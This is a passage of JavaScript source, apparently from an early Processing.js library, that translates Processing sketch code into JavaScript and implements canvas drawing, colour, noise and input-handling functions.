  aCode = aCode.replace(/=\s*{((.|\s)*?)};/g, function(all,data)
  {
    return "= [" + data.replace(/{/g, "[").replace(/}/g, "]") + "]";
  });
  
  // static { ... } blocks
  aCode = aCode.replace(/static\s*{((.|\n)*?)}/g, function(all, init)
  {
    // Convert the static definitons to variable assignments
    //return init.replace(/\((.*?)\)/g, " = $1");
    return init;
  });

  // super() is a reserved word
  aCode = aCode.replace(/super\(/g, "superMethod(");

  var classes = ["int", "float", "boolean", "string"];

  function ClassReplace(all, name, extend, vars, last)
  {
    classes.push( name );

    var static = "";

    vars = vars.replace(/final\s+var\s+(\w+\s*=\s*.*?;)/g, function(all,set)
    {
      static += " " + name + "." + set;
      return "";
    });

    // Move arguments up from constructor and wrap contents with
    // a with(this), and unwrap constructor
    return "function " + name + "() {with(this){\n  " +
      (extend ? "var __self=this;function superMethod(){extendClass(__self,arguments," + extend + ");}\n" : "") +
      // Replace var foo = 0; with this.foo = 0;
      // and force var foo; to become this.foo = null;
      vars
        .replace(/,\s?/g, ";\n  this.")
        .replace(/\b(var |final |public )+\s*/g, "this.")
        .replace(/this.(\w+);/g, "this.$1 = null;") + 
	(extend ? "extendClass(this, " + extend + ");\n" : "") +
        "<CLASS " + name + " " + static + ">" + (typeof last == "string" ? last : name + "(");
  }

  var matchClasses = /(?:public |abstract |static )*class (\w+)\s*(?:extends\s*(\w+)\s*)?{\s*((?:.|\n)*?)\b\1\s*\(/g;
  var matchNoCon = /(?:public |abstract |static )*class (\w+)\s*(?:extends\s*(\w+)\s*)?{\s*((?:.|\n)*?)(Processing)/g;
  
  aCode = aCode.replace(matchClasses, ClassReplace);
  aCode = aCode.replace(matchNoCon, ClassReplace);

  var matchClass = /<CLASS (\w+) (.*?)>/, m;
  
  while ( (m = aCode.match( matchClass )) )
  {
    var left = RegExp.leftContext,
      allRest = RegExp.rightContext,
      rest = nextBrace(allRest),
      className = m[1],
      staticVars = m[2] || "";
      
    allRest = allRest.slice( rest.length + 1 );

    rest = rest.replace(new RegExp("\\b" + className + "\\(([^\\)]*?)\\)\\s*{", "g"), function(all, args)
    {
      args = args.split(/,\s*?/);
      
      if ( args[0].match(/^\s*$/) )
        args.shift();
      
      var fn = "if ( arguments.length == " + args.length + " ) {\n";
        
      for ( var i = 0; i < args.length; i++ )
      {
        fn += "    var " + args[i] + " = arguments[" + i + "];\n";
      }
        
      return fn;
    });
    
    // Fix class method names
    // this.collide = function() { ... }
    // and add closing } for with(this) ...
    rest = rest.replace(/(?:public )?Processing.\w+ = function (\w+)\((.*?)\)/g, function(all, name, args)
    {
      return "ADDMETHOD(this, '" + name + "', function(" + args + ")";
    });
    
    var matchMethod = /ADDMETHOD([\s\S]*?{)/, mc;
    var methods = "";
    
    while ( (mc = rest.match( matchMethod )) )
    {
      var prev = RegExp.leftContext,
        allNext = RegExp.rightContext,
        next = nextBrace(allNext);

      methods += "addMethod" + mc[1] + next + "});"
      
      rest = prev + allNext.slice( next.length + 1 );
      
    }

    rest = methods + rest;
    
    aCode = left + rest + "\n}}" + staticVars + allRest;
  }

  // Do some tidying up, where necessary
  aCode = aCode.replace(/Processing.\w+ = function addMethod/g, "addMethod");
  
  function nextBrace( right )
  {
    var rest = right;
    var position = 0;
    var leftCount = 1, rightCount = 0;
    
    while ( leftCount != rightCount )
    {
      var nextLeft = rest.indexOf("{");
      var nextRight = rest.indexOf("}");
      
      if ( nextLeft < nextRight && nextLeft != -1 )
      {
        leftCount++;
        rest = rest.slice( nextLeft + 1 );
        position += nextLeft + 1;
      }
      else
      {
        rightCount++;
        rest = rest.slice( nextRight + 1 );
        position += nextRight + 1;
      }
    }
    
    return right.slice(0, position - 1);
  }

  // Handle (int) Casting
  aCode = aCode.replace(/\(int\)/g, "0|");

  // Remove Casting
  aCode = aCode.replace(new RegExp("\\((" + classes.join("|") + ")(\\[\\])?\\)", "g"), "");
  
  // Convert 3.0f to just 3.0
  aCode = aCode.replace(/(\d+)f/g, "$1");

  // Force numbers to exist
  //aCode = aCode.replace(/([^.])(\w+)\s*\+=/g, "$1$2 = ($2||0) +");

  // Force characters-as-bytes to work
  aCode = aCode.replace(/('[a-zA-Z0-9]')/g, "$1.charCodeAt(0)");

  // Convert #aaaaaa into color
  aCode = aCode.replace(/#([a-f0-9]{6})/ig, function(m, hex){
    var num = toNumbers(hex);
    return "color(" + num[0] + "," + num[1] + "," + num[2] + ")";
  });

  function toNumbers( str ){
    var ret = [];
     str.replace(/(..)/g, function(str){
      ret.push( parseInt( str, 16 ) );
    });
    return ret;
  }

//log(aCode);

  return aCode;
}

function buildProcessing( curElement ){

  var p = {};

  // init
  p.PI = Math.PI;
  p.TWO_PI = 2 * p.PI;
  p.HALF_PI = p.PI / 2;
  p.P3D = 3;
  p.CORNER = 0;
  p.CENTER = 1;
  p.CENTER_RADIUS = 2;
  p.RADIUS = 2;
  p.POLYGON = 1;
  p.TRIANGLES = 6;
  p.POINTS = 7;
  p.LINES = 8;
  p.TRIANGLE_STRIP = 9;
  p.CORNERS = 10;
  p.CLOSE = true;
  p.RGB = 1;
  p.HSB = 2;

  // "Private" variables used to maintain state
  var curContext = curElement.getContext("2d");
  var doFill = true;
  var doStroke = true;
  var loopStarted = false;
  var hasBackground = false;
  var doLoop = true;
  var curRectMode = p.CORNER;
  var curEllipseMode = p.CENTER;
  var inSetup = false;
  var inDraw = false;
  var curBackground = "rgba(204,204,204,1)";
  var curFrameRate = 1000;
  var curShape = p.POLYGON;
  var curShapeCount = 0;
  var opacityRange = 255;
  var redRange = 255;
  var greenRange = 255;
  var blueRange = 255;
  var pathOpen = false;
  var mousePressed = false;
  var keyPressed = false;
  var firstX, firstY, prevX, prevY;
  var curColorMode = p.RGB;
  var curTint = -1;
  var curTextSize = 12;
  var curTextFont = "Arial";
  var getLoaded = false;
  var start = (new Date).getTime();

  // Global vars for tracking mouse position
  p.pmouseX = 0;
  p.pmouseY = 0;
  p.mouseX = 0;
  p.mouseY = 0;

  // Will be replaced by the user, most likely
  p.mouseDragged = undefined;
  p.mouseMoved = undefined;
  p.mousePressed = undefined;
  p.mouseReleased = undefined;
  p.keyPressed = undefined;
  p.keyReleased = undefined;
  p.draw = undefined;
  p.setup = undefined;

  // The height/width of the canvas
  p.width = curElement.width - 0;
  p.height = curElement.height - 0;
  
  // In case I ever need to do HSV conversion:
  // http://srufaculty.sru.edu/david.dailey/javascript/js/5rml.js
  p.color = function color( aValue1, aValue2, aValue3, aValue4 )
  {
    var aColor = "";
    
    if ( arguments.length == 3 )
    {
      aColor = p.color( aValue1, aValue2, aValue3, opacityRange );
    }
    else if ( arguments.length == 4 )
    {
      var a = aValue4 / opacityRange;
      a = isNaN(a) ? 1 : a;

      if ( curColorMode == p.HSB )
      {
        var rgb = HSBtoRGB(aValue1, aValue2, aValue3);
        var r = rgb[0], g = rgb[1], b = rgb[2];
      }
      else
      {
        var r = getColor(aValue1, redRange);
        var g = getColor(aValue2, greenRange);
        var b = getColor(aValue3, blueRange);
      }

      aColor = "rgba(" + r + "," + g + "," + b + "," + a + ")";
    }
    else if ( typeof aValue1 == "string" )
    {
      aColor = aValue1;

      if ( arguments.length == 2 )
      {
        var c = aColor.split(",");
	c[3] = (aValue2 / opacityRange) + ")";
	aColor = c.join(",");
      }
    }
    else if ( arguments.length == 2 )
    {
      aColor = p.color( aValue1, aValue1, aValue1, aValue2 );
    }
    else if ( typeof aValue1 == "number" )
    {
      aColor = p.color( aValue1, aValue1, aValue1, opacityRange );
    }
    else
    {
      aColor = p.color( redRange, greenRange, blueRange, opacityRange );
    }

    // HSB conversion function from Mootools, MIT Licensed
    function HSBtoRGB(h, s, b)
    {
      h = (h / redRange) * 100;
      s = (s / greenRange) * 100;
      b = (b / blueRange) * 100;
      if (s == 0){
        return [b, b, b];
      } else {
        var hue = h % 360;
        var f = hue % 60;
        var br = Math.round(b / 100 * 255);
        var p = Math.round((b * (100 - s)) / 10000 * 255);
        var q = Math.round((b * (6000 - s * f)) / 600000 * 255);
        var t = Math.round((b * (6000 - s * (60 - f))) / 600000 * 255);
        switch (Math.floor(hue / 60)){
          case 0: return [br, t, p];
          case 1: return [q, br, p];
          case 2: return [p, br, t];
          case 3: return [p, q, br];
          case 4: return [t, p, br];
          case 5: return [br, p, q];
        }
      }
    }

    function getColor( aValue, range )
    {
      return Math.round(255 * (aValue / range));
    }
    
    return aColor;
  }

  p.nf = function( num, pad )
  {
    var str = "" + num;
    while ( pad - str.length )
      str = "0" + str;
    return str;
  };

  p.AniSprite = function( prefix, frames )
  {
    this.images = [];
    this.pos = 0;

    for ( var i = 0; i < frames; i++ )
    {
      this.images.push( prefix + p.nf( i, ("" + frames).length ) + ".gif" );
    }

    this.display = function( x, y )
    {
      p.image( this.images[ this.pos ], x, y );

      if ( ++this.pos >= frames )
        this.pos = 0;
    };

    this.getWidth = function()
    {
      return getImage(this.images[0]).width;
    };

    this.getHeight = function()
    {
      return getImage(this.images[0]).height;
    };
  };

  function buildImageObject( obj )
  {
    var pixels = obj.data;
    var data = p.createImage( obj.width, obj.height );

    if ( data.__defineGetter__ && data.__lookupGetter__ && !data.__lookupGetter__("pixels") )
    {
      var pixelsDone;
      data.__defineGetter__("pixels", function()
      {
        if ( pixelsDone )
	  return pixelsDone;

	pixelsDone = [];

        for ( var i = 0; i < pixels.length; i += 4 )
        {
          pixelsDone.push( p.color(pixels[i], pixels[i+1], pixels[i+2], pixels[i+3]) );
        }

	return pixelsDone;
      });
    }
    else
    {
      data.pixels = [];

      for ( var i = 0; i < pixels.length; i += 4 )
      {
        data.pixels.push( p.color(pixels[i], pixels[i+1], pixels[i+2], pixels[i+3]) );
      }
    }

    return data;
  }

  p.createImage = function createImage( w, h, mode )
  {
    var data = {
      width: w,
      height: h,
      pixels: new Array( w * h ),
      get: function(x,y)
      {
        return this.pixels[w*y+x];
      },
      _mask: null,
      mask: function(img)
      {
        this._mask = img;
      },
      loadPixels: function()
      {
      },
      updatePixels: function()
      {
      }
    };

    return data;
  }

  p.createGraphics = function createGraphics( w, h )
  {
    var canvas = document.createElement("canvas");
    var ret = buildProcessing( canvas );
    ret.size( w, h );
    ret.canvas = canvas;
    return ret;
  }

  p.beginDraw = function beginDraw()
  {

  }

  p.endDraw = function endDraw()
  {

  }

  p.tint = function tint( rgb, a )
  {
    curTint = a;
  }

  function getImage( img ) {
    if ( typeof img == "string" )
    {
      return document.getElementById(img);
    }

    if ( img.img || img.canvas )
    {
      return img.img || img.canvas;
    }

    img.data = [];

    for ( var i = 0, l = img.pixels.length; i < l; i++ )
    {
      var c = (img.pixels[i] || "rgba(0,0,0,1)").slice(5,-1).split(",");
      img.data.push( parseInt(c[0]), parseInt(c[1]), parseInt(c[2]), parseFloat(c[3]) * 100 );
    }

    var canvas = document.createElement("canvas")
    canvas.width = img.width;
    canvas.height = img.height;
    var context = canvas.getContext("2d");
    context.putImageData( img, 0, 0 );

    img.canvas = canvas;

    return canvas;
  }

  p.image = function image( img, x, y, w, h )
  {
    x = x || 0;
    y = y || 0;

    var obj = getImage(img);

    if ( curTint >= 0 )
    {
      var oldAlpha = curContext.globalAlpha;
      curContext.globalAlpha = curTint / opacityRange;
    }

    if ( arguments.length == 3 )
    {
      curContext.drawImage( obj, x, y );
    }
    else
    {
      curContext.drawImage( obj, x, y, w, h );
    }

    if ( curTint >= 0 )
    {
      curContext.globalAlpha = oldAlpha;
    }

    if ( img._mask )
    {
      var oldComposite = curContext.globalCompositeOperation;
      curContext.globalCompositeOperation = "darker";
      p.image( img._mask, x, y );
      curContext.globalCompositeOperation = oldComposite;
    }
  }

  p.exit = function exit()
  {

  }

  p.save = function save( file )
  {

  }

  p.loadImage = function loadImage( file )
  {
    var img = document.getElementById(file);
    if ( !img )
      return;

    var h = img.height, w = img.width;

    var canvas = document.createElement("canvas");
    canvas.width = w;
    canvas.height = h;
    var context = canvas.getContext("2d");

    context.drawImage( img, 0, 0 );
    var data = buildImageObject( context.getImageData( 0, 0, w, h ) );
    data.img = img;
    return data;
  }

  p.loadFont = function loadFont( name )
  {
    return {
      name: name,
      width: function( str )
      {
        if ( curContext.mozMeasureText )
          return curContext.mozMeasureText( typeof str == "number" ?
            String.fromCharCode( str ) :
            str) / curTextSize;
	else
	  return 0;
      }
    };
  }

  p.textFont = function textFont( name, size )
  {
    curTextFont = name;
    p.textSize( size );
  }

  p.textSize = function textSize( size )
  {
    if ( size )
    {
      curTextSize = size;
    }
  }

  p.textAlign = function textAlign()
  {

  }

  p.text = function text( str, x, y )
  {
    if ( str && curContext.mozDrawText )
    {
      curContext.save();
      curContext.mozTextStyle = curTextSize + "px " + curTextFont.name;
      curContext.translate(x, y);
      curContext.mozDrawText( typeof str == "number" ?
        String.fromCharCode( str ) :
	str );
      curContext.restore();
    }
  }

  p.char = function char( key )
  {
    //return String.fromCharCode( key );
    return key;
  }

  p.println = function println()
  {

  }

  p.map = function map( value, istart, istop, ostart, ostop )
  {
    return ostart + (ostop - ostart) * ((value - istart) / (istop - istart));
  };

  String.prototype.replaceAll = function(re, replace)
  {
    return this.replace(new RegExp(re, "g"), replace);
  };

  p.Point = function Point( x, y )
  {
    this.x = x;
    this.y = y;
    this.copy = function()
    {
      return new Point( x, y );
    }
  }

  p.Random = function()
  {
    var haveNextNextGaussian = false;
    var nextNextGaussian;

    this.nextGaussian = function()
    {
      if (haveNextNextGaussian) {
        haveNextNextGaussian = false;

        return nextNextGaussian;
      } else {
        var v1, v2, s;
        do { 
          v1 = 2 * p.random(1) - 1;   // between -1.0 and 1.0
          v2 = 2 * p.random(1) - 1;   // between -1.0 and 1.0
          s = v1 * v1 + v2 * v2;
        } while (s >= 1 || s == 0);
        var multiplier = Math.sqrt(-2 * Math.log(s)/s);
        nextNextGaussian = v2 * multiplier;
        haveNextNextGaussian = true;

        return v1 * multiplier;
      }
    };
  }

  p.ArrayList = function ArrayList( size, size2, size3 )
  {
    var array = new Array( 0 | size );
    
    if ( size2 )
    {
      for ( var i = 0; i < size; i++ )
      {
        array[i] = [];

        for ( var j = 0; j < size2; j++ )
        {
	  var a = array[i][j] = size3 ? new Array( size3 ) : 0;
	  for ( var k = 0; k < size3; k++ )
	  {
	    a[k] = 0;
	  }
        }
      }
    }
    else
    {
      for ( var i = 0; i < size; i++ )
      {
        array[i] = 0;
      }
    }
    
    array.size = function()
    {
      return this.length;
    };
    array.get = function( i )
    {
      return this[ i ];
    };
    array.remove = function( i )
    {
      return this.splice( i, 1 );
    };
    array.add = function( item )
    {
      for ( var i = 0; this[ i ] != undefined; i++ ) {}
      this[ i ] = item;
    };
    array.clone = function()
    {
      var a = new ArrayList( size );
      for ( var i = 0; i < size; i++ )
      {
        a[ i ] = this[ i ];
      }
      return a;
    };
    array.isEmpty = function()
    {
      return !this.length;
    };
    array.clear = function()
    {
      this.length = 0;
    };
    
    return array;
  }
  
  p.colorMode = function colorMode( mode, range1, range2, range3, range4 )
  {
    curColorMode = mode;

    if ( arguments.length >= 4 )
    {
      redRange = range1;
      greenRange = range2;
      blueRange = range3;
    }

    if ( arguments.length == 5 )
    {
      opacityRange = range4;
    }

    if ( arguments.length == 2 )
    {
      p.colorMode( mode, range1, range1, range1, range1 );
    }
  }
  
  p.beginShape = function beginShape( type )
  {
    curShape = type;
    curShapeCount = 0; 
  }
  
  p.endShape = function endShape( close )
  {
    if ( curShapeCount != 0 )
    {
      curContext.lineTo( firstX, firstY );

      if ( doFill )
        curContext.fill();
        
      if ( doStroke )
        curContext.stroke();
    
      curContext.closePath();
      curShapeCount = 0;
      pathOpen = false;
    }

    if ( pathOpen )
    {
      curContext.closePath();
    }
  }
  
  p.vertex = function vertex( x, y, x2, y2, x3, y3 )
  {
    if ( curShapeCount == 0 && curShape != p.POINTS )
    {
      pathOpen = true;
      curContext.beginPath();
      curContext.moveTo( x, y );
    }
    else
    {
      if ( curShape == p.POINTS )
      {
        p.point( x, y );
      }
      else if ( arguments.length == 2 )
      {
        if ( curShape == p.TRIANGLE_STRIP && curShapeCount == 2 )
	{
          curContext.moveTo( prevX, prevY );
          curContext.lineTo( firstX, firstY );
	}

        curContext.lineTo( x, y );
      }
      else if ( arguments.length == 4 )
      {
        if ( curShapeCount > 1 )
        {
	  curContext.moveTo( prevX, prevY );
          curContext.quadraticCurveTo( firstX, firstY, x, y );
	  curShapeCount = 1;
        }
      }
      else if ( arguments.length == 6 )
      {
        curContext.bezierCurveTo( x, y, x2, y2, x3, y3 );
        curShapeCount = -1;
      }
    }

    prevX = firstX;
    prevY = firstY;
    firstX = x;
    firstY = y;

    
    curShapeCount++;
    
    if ( curShape == p.LINES && curShapeCount == 2 ||
         (curShape == p.TRIANGLES || curShape == p.TRIANGLE_STRIP) && curShapeCount == 3 )
    {
      p.endShape();
    }

    if ( curShape == p.TRIANGLE_STRIP && curShapeCount == 3 )
    {
      curShapeCount = 2;
    }
  }

  p.curveTightness = function()
  {

  }

  // Unimplmented - not really possible with the Canvas API
  p.curveVertex = function( x, y, x2, y2 )
  {
    p.vertex( x, y, x2, y2 );
  }

  p.bezierVertex = p.vertex
  
  p.rectMode = function rectMode( aRectMode )
  {
    curRectMode = aRectMode;
  }

  p.imageMode = function()
  {

  }
  
  p.ellipseMode = function ellipseMode( aEllipseMode )
  {
    curEllipseMode = aEllipseMode;
  }
  
  p.dist = function dist( x1, y1, x2, y2 )
  {
    return Math.sqrt( Math.pow( x2 - x1, 2 ) + Math.pow( y2 - y1, 2 ) );
  }

  p.year = function year()
  {
    return (new Date).getYear() + 1900;
  }

  p.month = function month()
  {
    return (new Date).getMonth();
  }

  p.day = function day()
  {
    return (new Date).getDay();
  }

  p.hour = function hour()
  {
    return (new Date).getHours();
  }

  p.minute = function minute()
  {
    return (new Date).getMinutes();
  }

  p.second = function second()
  {
    return (new Date).getSeconds();
  }

  p.millis = function millis()
  {
    return (new Date).getTime() - start;
  }
  
  p.ortho = function ortho()
  {
  
  }
  
  p.translate = function translate( x, y )
  {
    curContext.translate( x, y );
  }
  
  p.scale = function scale( x, y )
  {
    curContext.scale( x, y || x );
  }
  
  p.rotate = function rotate( aAngle )
  {
    curContext.rotate( aAngle );
  }
  
  p.pushMatrix = function pushMatrix()
  {
    curContext.save();
  }
  
  p.popMatrix = function popMatrix()
  {
    curContext.restore();
  }
  
  p.redraw = function redraw()
  {
    if ( hasBackground )
    {
      p.background();
    }
    
    inDraw = true;
    p.pushMatrix();
    p.draw();
    p.popMatrix();
    inDraw = false;
  }
  
  p.loop = function loop()
  {
    if ( loopStarted )
      return;
    
    var looping = setInterval(function()
    {
      try
      {
        p.redraw();
      }
      catch(e)
      {
        clearInterval( looping );
        throw e;
      }
    }, 1000 / curFrameRate );
    
    loopStarted = true;
  }
  
  p.frameRate = function frameRate( aRate )
  {
    curFrameRate = aRate;
  }
  
  p.background = function background( img )
  {
    if ( arguments.length )
    {
      if ( img && img.img )
      {
        curBackground = img;
      }
      else
      {
        curBackground = p.color.apply( this, arguments );
      }
    }
    

    if ( curBackground.img )
    {
      p.image( curBackground, 0, 0 );
    }
    else
    {
      var oldFill = curContext.fillStyle;
      curContext.fillStyle = curBackground + "";
      curContext.fillRect( 0, 0, p.width, p.height );
      curContext.fillStyle = oldFill;
    }
  }

  p.sq = function sq( aNumber )
  {
    return aNumber * aNumber;
  }

  p.sqrt = function sqrt( aNumber )
  {
    return Math.sqrt( aNumber );
  }
  
  p.int = function int( aNumber )
  {
    return Math.floor( aNumber );
  }

  p.min = function min( aNumber, aNumber2 )
  {
    return Math.min( aNumber, aNumber2 );
  }

  p.max = function max( aNumber, aNumber2 )
  {
    return Math.max( aNumber, aNumber2 );
  }

  p.ceil = function ceil( aNumber )
  {
    return Math.ceil( aNumber );
  }

  p.floor = function floor( aNumber )
  {
    return Math.floor( aNumber );
  }

  p.float = function float( aNumber )
  {
    return typeof aNumber == "string" ?
	p.float( aNumber.charCodeAt(0) ) :
        parseFloat( aNumber );
  }

  p.byte = function byte( aNumber )
  {
    return aNumber || 0;
  }
  
  p.random = function random( aMin, aMax )
  {
    return arguments.length == 2 ?
      aMin + (Math.random() * (aMax - aMin)) :
      Math.random() * aMin;
  }

  // From: http://freespace.virgin.net/hugo.elias/models/m_perlin.htm
  p.noise = function( x, y, z )
  {
    return arguments.length >= 2 ?
      PerlinNoise_2D( x, y ) :
      PerlinNoise_2D( x, x );
  }

  function Noise(x, y)
  {
    var n = x + y * 57;
    n = (n<<13) ^ n;
    return Math.abs(1.0 - (((n * ((n * n * 15731) + 789221) + 1376312589) & 0x7fffffff) / 1073741824.0));
  }

  function SmoothedNoise(x, y)
  {
    var corners = ( Noise(x-1, y-1)+Noise(x+1, y-1)+Noise(x-1, y+1)+Noise(x+1, y+1) ) / 16;
    var sides   = ( Noise(x-1, y)  +Noise(x+1, y)  +Noise(x, y-1)  +Noise(x, y+1) ) /  8;
    var center  =  Noise(x, y) / 4;
    return corners + sides + center;
  }

  function InterpolatedNoise(x, y)
  {
    var integer_X    = Math.floor(x);
    var fractional_X = x - integer_X;

    var integer_Y    = Math.floor(y);
    var fractional_Y = y - integer_Y;

    var v1 = SmoothedNoise(integer_X,     integer_Y);
    var v2 = SmoothedNoise(integer_X + 1, integer_Y);
    var v3 = SmoothedNoise(integer_X,     integer_Y + 1);
    var v4 = SmoothedNoise(integer_X + 1, integer_Y + 1);

    var i1 = Interpolate(v1 , v2 , fractional_X);
    var i2 = Interpolate(v3 , v4 , fractional_X);

    return Interpolate(i1 , i2 , fractional_Y);
  }

  function PerlinNoise_2D(x, y)
  {
      var total = 0;
      var p = 0.25;
      var n = 3;

      for ( var i = 0; i <= n; i++ )
      {
          var frequency = Math.pow(2, i);
          var amplitude = Math.pow(p, i);

          total = total + InterpolatedNoise(x * frequency, y * frequency) * amplitude;
      }

      return total;
  }

  function Interpolate(a, b, x)
  {
    var ft = x * p.PI;
    var f = (1 - p.cos(ft)) * .5;
    return  a*(1-f) + b*f;
  }

  p.red = function( aColor )
  {
    return parseInt(aColor.slice(5));
  }

  p.green = function( aColor )
  {
    return parseInt(aColor.split(",")[1]);
  }

  p.blue = function( aColor )
  {
    return parseInt(aColor.split(",")[2]);
  }

  p.alpha = function( aColor )
  {
    return parseInt(aColor.split(",")[3]);
  }

  p.abs = function abs( aNumber )
  {
    return Math.abs( aNumber );
  }
  
  p.cos = function cos( aNumber )
  {
    return Math.cos( aNumber );
  }
  
  p.sin = function sin( aNumber )
  {
    return Math.sin( aNumber );
  }
  
  p.pow = function pow( aNumber, aExponent )
  {
    return Math.pow( aNumber, aExponent );
  }
  
  p.constrain = function constrain( aNumber, aMin, aMax )
  {
    return Math.min( Math.max( aNumber, aMin ), aMax );
  }
  
  p.sqrt = function sqrt( aNumber )
  {
  	return Math.sqrt( aNumber );
  }
  
  p.atan2 = function atan2( aNumber, aNumber2 )
  {
  	return Math.atan2( aNumber, aNumber2 );
  }
  
  p.radians = function radians( aAngle )
  {
    return ( aAngle / 180 ) * p.PI;
  }
  
  p.size = function size( aWidth, aHeight )
  {
    var fillStyle = curContext.fillStyle;
    var strokeStyle = curContext.strokeStyle;

    curElement.width = p.width = aWidth;
    curElement.height = p.height = aHeight;

    curContext.fillStyle = fillStyle;
    curContext.strokeStyle = strokeStyle;
  }
  
  p.noStroke = function noStroke()
  {
    doStroke = false;
  }
  
  p.noFill = function noFill()
  {
    doFill = false;
  }
  
  p.smooth = function smooth()
  {
  
  }
  
  p.noLoop = function noLoop()
  {
    doLoop = false;
  }
  
  p.fill = function fill()
  {
    doFill = true;
    curContext.fillStyle = p.color.apply( this, arguments );
  }
  
  p.stroke = function stroke()
  {
    doStroke = true;
    curContext.strokeStyle = p.color.apply( this, arguments );
  }

  p.strokeWeight = function strokeWeight( w )
  {
    curContext.lineWidth = w;
  }
  
  p.point = function point( x, y )
  {
    var oldFill = curContext.fillStyle;
    curContext.fillStyle = curContext.strokeStyle;
    curContext.fillRect( Math.round( x ), Math.round( y ), 1, 1 );
    curContext.fillStyle = oldFill;
  }

  p.get = function get( x, y )
  {
    if ( arguments.length == 0 )
    {
      var c = p.createGraphics( p.width, p.height );
      c.image( curContext, 0, 0 );
      return c;
    }

    if ( !getLoaded )
    {
      getLoaded = buildImageObject( curContext.getImageData(0, 0, p.width, p.height) );
    }

    return getLoaded.get( x, y );
  }

  p.set = function set( x, y, color )
  {
    var oldFill = curContext.fillStyle;
    curContext.fillStyle = color;
    curContext.fillRect( Math.round( x ), Math.round( y ), 1, 1 );
    curContext.fillStyle = oldFill;
  }
  
  p.arc = function arc( x, y, width, height, start, stop )
  {
    if ( width <= 0 )
      return;

    if ( curEllipseMode == p.CORNER )
    {
      x += width / 2;
      y += height / 2;
    }

    curContext.beginPath();
  
    curContext.moveTo( x, y );
    curContext.arc( x, y, curEllipseMode == p.CENTER_RADIUS ? width : width/2, start, stop, false );
    
    if ( doFill )
      curContext.fill();
      
    if ( doStroke )
      curContext.stroke();
    
    curContext.closePath();
  }
  
  p.line = function line( x1, y1, x2, y2 )
  {
    curContext.lineCap = "round";
    curContext.beginPath();
  
    curContext.moveTo( x1 || 0, y1 || 0 );
    curContext.lineTo( x2 || 0, y2 || 0 );
    
    curContext.stroke();
    
    curContext.closePath();
  }

  p.bezier = function bezier( x1, y1, x2, y2, x3, y3, x4, y4 )
  {
    curContext.lineCap = "butt";
    curContext.beginPath();
  
    curContext.moveTo( x1, y1 );
    curContext.bezierCurveTo( x2, y2, x3, y3, x4, y4 );
    
    curContext.stroke();
    
    curContext.closePath();
  }

  p.triangle = function triangle( x1, y1, x2, y2, x3, y3 )
  {
    p.beginShape();
    p.vertex( x1, y1 );
    p.vertex( x2, y2 );
    p.vertex( x3, y3 );
    p.endShape();
  }

  p.quad = function quad( x1, y1, x2, y2, x3, y3, x4, y4 )
  {
    p.beginShape();
    p.vertex( x1, y1 );
    p.vertex( x2, y2 );
    p.vertex( x3, y3 );
    p.vertex( x4, y4 );
    p.endShape();
  }
  
  p.rect = function rect( x, y, width, height )
  {
    if ( width == 0 && height == 0 )
      return;

    curContext.beginPath();
    
    var offsetStart = 0;
    var offsetEnd = 0;

    if ( curRectMode == p.CORNERS )
    {
      width -= x;
      height -= y;
    }
    
    if ( curRectMode == p.RADIUS )
    {
      width *= 2;
      height *= 2;
    }
    
    if ( curRectMode == p.CENTER || curRectMode == p.RADIUS )
    {
      x -= width / 2;
      y -= height / 2;
    }
  
    curContext.rect(
      Math.round( x ) - offsetStart,
      Math.round( y ) - offsetStart,
      Math.round( width ) + offsetEnd,
      Math.round( height ) + offsetEnd
    );
      
    if ( doFill )
      curContext.fill();
      
    if ( doStroke )
      curContext.stroke();
    
    curContext.closePath();
  }
  
  p.ellipse = function ellipse( x, y, width, height )
  {
    x = x || 0;
    y = y || 0;

    if ( width <= 0 && height <= 0 )
      return;

    curContext.beginPath();
    
    if ( curEllipseMode == p.RADIUS )
    {
      width *= 2;
      height *= 2;
    }
    
    var offsetStart = 0;
    
    // Shortcut for drawing a circle
    if ( width == height )
      curContext.arc( x - offsetStart, y - offsetStart, width / 2, 0, Math.PI * 2, false );
  
    if ( doFill )
      curContext.fill();
      
    if ( doStroke )
      curContext.stroke();
    
    curContext.closePath();
  }

  p.link = function( href, target )
  {
    window.location = href;
  }

  p.loadPixels = function()
  {
    p.pixels = buildImageObject( curContext.getImageData(0, 0, p.width, p.height) ).pixels;
  }

  p.updatePixels = function()
  {
    var colors = /(\d+),(\d+),(\d+),(\d+)/;
    var pixels = {};
    var data = pixels.data = [];
    pixels.width = p.width;
    pixels.height = p.height;

    var pos = 0;

    for ( var i = 0, l = p.pixels.length; i < l; i++ ) {
      var c = (p.pixels[i] || "rgba(0,0,0,1)").match(colors);
      data[pos] = parseInt(c[1]);
      data[pos+1] = parseInt(c[2]);
      data[pos+2] = parseInt(c[3]);
      data[pos+3] = parseFloat(c[4]) * 100;
      pos += 4;
    }

    curContext.putImageData(pixels, 0, 0);
  }

  p.extendClass = function extendClass( obj, args, fn )
  {
    if ( arguments.length == 3 )
    {
      fn.apply( obj, args );
    }
    else
    {
      args.call( obj );
    }
  }

  p.addMethod = function addMethod( object, name, fn )
  {
    if ( object[ name ] )
    {
      var args = fn.length;
      
      var oldfn = object[ name ];
      object[ name ] = function()
      {
        if ( arguments.length == args )
          return fn.apply( this, arguments );
        else
          return oldfn.apply( this, arguments );
      };
    }
    else
    {
      object[ name ] = fn;
    }
  }

  p.init = function init(code){
    p.stroke( 0 );
    p.fill( 255 );
  
    // Canvas has trouble rendering single pixel stuff on whole-pixel
    // counts, so we slightly offset it (this is super lame).
    curContext.translate( 0.5, 0.5 );

    if ( code )
    {
      (function(Processing){with (p){
        eval(parse(code, p));
      }})(p);
    }
  
    if ( p.setup )
    {
      inSetup = true;
      p.setup();
    }
    
    inSetup = false;
    
    if ( p.draw )
    {
      if ( !doLoop )
      {
        p.redraw();
      }
      else
      {
        p.loop();
      }
    }
    
    attach( curElement, "mousemove", function(e)
    {
      p.pmouseX = p.mouseX;
      p.pmouseY = p.mouseY;
      p.mouseX = e.clientX - curElement.offsetLeft;
      p.mouseY = e.clientY - curElement.offsetTop;

      if ( p.mouseMoved )
      {
        p.mouseMoved();
      }      

      if ( mousePressed && p.mouseDragged )
      {
        p.mouseDragged();
      }      
    });
    
    attach( curElement, "mousedown", function(e)
    {
      mousePressed = true;

      if ( typeof p.mousePressed == "function" )
      {
        p.mousePressed();
      }
      else
      {
        p.mousePressed = true;
      }
    });
      
    attach( curElement, "mouseup", function(e)
    {
      mousePressed = false;

      if ( typeof p.mousePressed != "function" )
      {
        p.mousePressed = false;
      }

      if ( p.mouseReleased )
      {
        p.mouseReleased();
      }
    });

    attach( document, "keydown", function(e)
    {
      keyPressed = true;

      p.key = e.keyCode + 32;

